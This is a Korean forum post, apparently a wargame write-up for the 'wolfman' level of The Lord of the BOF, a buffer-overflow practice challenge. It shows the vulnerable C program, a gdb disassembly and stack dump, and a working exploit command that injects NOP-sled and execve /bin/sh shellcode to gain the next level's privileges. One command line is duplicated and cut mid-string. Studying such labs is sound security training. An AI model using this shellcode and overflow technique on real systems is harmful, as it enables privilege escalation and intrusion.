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http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=8607 [복사]
Last login: Tue Jul 1 18:22:07 from 192.168.0.20
[orc@localhost orc]$ bash2
[orc@localhost orc]$ ls
tmp wolfman wolfman.c
[orc@localhost orc]$ cat wolfman.c
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
[orc@localhost orc]$ cp wolfman tmp
[orc@localhost orc]$ cd tmp
[orc@localhost tmp]$ ls
wolfman
[orc@localhost tmp]$ gdb -q wolfman
(gdb) set disassembly intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048640
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: nop
0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop
0x804852c <main+44>: lea %esi,[%esi*1]
0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea %edx,[%eax*4]
0x804853a <main+58>: mov %eax,%ds:0x8049760
0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>: lea %edx,[%eax*4]
0x8048551 <main+81>: mov %eax,%ds:0x8049760
0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>: push %edx
0x804855a <main+90>: call 0x80483f0 <strlen>
0x804855f <main+95>: add %esp,4
0x8048562 <main+98>: mov %eax,%eax
0x8048564 <main+100>: push %eax
0x8048565 <main+101>: push 0
0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>: lea %edx,[%eax*4]
0x8048571 <main+113>: mov %eax,%ds:0x8049760
0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>: push %edx
0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add %esp,12
0x8048582 <main+130>: inc DWORD PTR [%ebp-44]
---Type <return> to continue, or q <return> to quit---
0x8048585 <main+133>: jmp 0x8048530 <main+48>
0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>: add %eax,4
0x804858d <main+141>: mov %edx,DWORD PTR [%eax]
0x804858f <main+143>: add %edx,47
0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf
0x8048595 <main+149>: je 0x80485b0 <main+176>
0x8048597 <main+151>: push 0x804864c
0x804859c <main+156>: call 0x8048410 <printf>
0x80485a1 <main+161>: add %esp,4
0x80485a4 <main+164>: push 0
0x80485a6 <main+166>: call 0x8048420 <exit>
0x80485ab <main+171>: add %esp,4
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea %eax,[%ebp-40]
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add %esp,8
0x80485c5 <main+197>: lea %eax,[%ebp-40]
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push 0x8048669
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add %esp,8
0x80485d6 <main+214>: push 40
0x80485d8 <main+216>: push 0
0x80485da <main+218>: lea %eax,[%ebp-40]
0x80485dd <main+221>: push %eax
0x80485de <main+222>: call 0x8048430 <memset>
0x80485e3 <main+227>: add %esp,12
0x80485e6 <main+230>: leave
0x80485e7 <main+231>: ret
0x80485e8 <main+232>: nop
0x80485e9 <main+233>: nop
0x80485ea <main+234>: nop
0x80485eb <main+235>: nop
0x80485ec <main+236>: nop
---Type <return> to continue, or q <return> to quit---
0x80485ed <main+237>: nop
0x80485ee <main+238>: nop
0x80485ef <main+239>: nop
End of assembler dump.
(gdb) b *main+189
Breakpoint 1 at 0x80485bd
(gdb) r `python -c 'print "\x90"*40+"\xbf"*4+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Starting program: /home/orc/tmp/wolfman `python -c 'print "\x90"*40+"\xbf"*4+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
stack is still your friend.
Program exited normally.
(gdb) r `python -c 'print "\x90"*44+"\xbf"*4+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Starting program: /home/orc/tmp/wolfman `python -c 'print "\x90"*44+"\xbf"*4+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Breakpoint 1, 0x80485bd in main ()
(gdb) b *main+189
Note: breakpoint 1 also set at pc 0x80485bd.
Breakpoint 2 at 0x80485bd
(gdb) r `python -c 'print "\x90"*44+"\xbf"*4+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/orc/tmp/wolfman `python -c 'print "\x90"*44+"\xbf"*4+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Breakpoint 1, 0x80485bd in main ()
(gdb) x/200x $esp
0xbffffa24: 0xbffffa30 0xbffffbb0 0x00000017 0xbffffa58
0xbffffa34: 0x4000a970 0x400f855b 0x08049690 0x4000ae60
0xbffffa44: 0xbffffaa4 0xbffffa58 0x080484eb 0x0804967c
0xbffffa54: 0x08049690 0xbffffa78 0x400309cb 0x00000002
0xbffffa64: 0xbffffaa4 0xbffffab0 0x40013868 0x00000002
0xbffffa74: 0x08048450 0x00000000 0x08048471 0x08048500
0xbffffa84: 0x00000002 0xbffffaa4 0x08048390 0x0804861c
0xbffffa94: 0x4000ae60 0xbffffa9c 0x40013e90 0x00000002
0xbffffaa4: 0xbffffb9a 0xbffffbb0 0x00000000 0xbffffc5e
0xbffffab4: 0xbffffc80 0xbffffc8a 0xbffffc98 0xbffffcb7
0xbffffac4: 0xbffffcc3 0xbffffcdb 0xbffffcf4 0xbffffd13
0xbffffad4: 0xbffffd1e 0xbffffd2c 0xbffffd6b 0xbffffd7c
0xbffffae4: 0xbffffd8b 0xbffffda0 0xbffffdb0 0xbffffdb9
0xbffffaf4: 0xbffffdd4 0xbffffded 0xbffffdf8 0xbffffe09
0xbffffb04: 0xbffffe1b 0xbffffe23 0x00000000 0x00000003
0xbffffb14: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffb24: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffb34: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffb44: 0x08048450 0x0000000b 0x000001f8 0x0000000c
0xbffffb54: 0x000001f8 0x0000000d 0x000001f8 0x0000000e
0xbffffb64: 0x000001f8 0x00000010 0x0febfbff 0x0000000f
0xbffffb74: 0xbffffb95 0x00000000 0x00000000 0x00000000
0xbffffb84: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb94: 0x38366900 0x682f0036 0x2f656d6f 0x2f63726f
0xbffffba4: 0x2f706d74 0x666c6f77 0x006e616d 0x90909090
0xbffffbb4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbc4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbd4: 0x90909090 0x90909090 0xbfbfbfbf 0x90909090
0xbffffbe4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc04: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc14: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc24: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc44: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xbffffc54: 0x89e18953 0xcd0bb0c2 0x00000080 0x00000000
0xbffffc64: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc74: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc84: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc94: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---
0xbffffca4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcd4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffce4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcf4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd04: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd14: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd24: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd34: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) q
The program is running. Exit anyway? (y or n) y
[orc@localhost tmp]$ cd ..
[orc@localhost orc]$ ls
tmp wolfman wolfman.c
[orc@localhost orc]$ ./wolfman `python -c 'print "\x90"*44+"\xf4\xfb\xff\xbf"+"\x9[orc@localhost orc]$ ./wolfman `python -c 'print "\x90"*44+"\xf4\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
1h//shh/bin⏓ኂ°
̀
bash$ my-pass
euid = 505
[?????????????????]
bash$ od
[1]+ Stopped od
bash$ id
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)
bash$
char buffer에서 44~47까지는 ret이고
바로 아래의 공략글과 페이로드가 같아서 따로 설명은 안 했다...
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Hit : 925 Date : 2025/07/03 04:17
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1617, 
1/81 
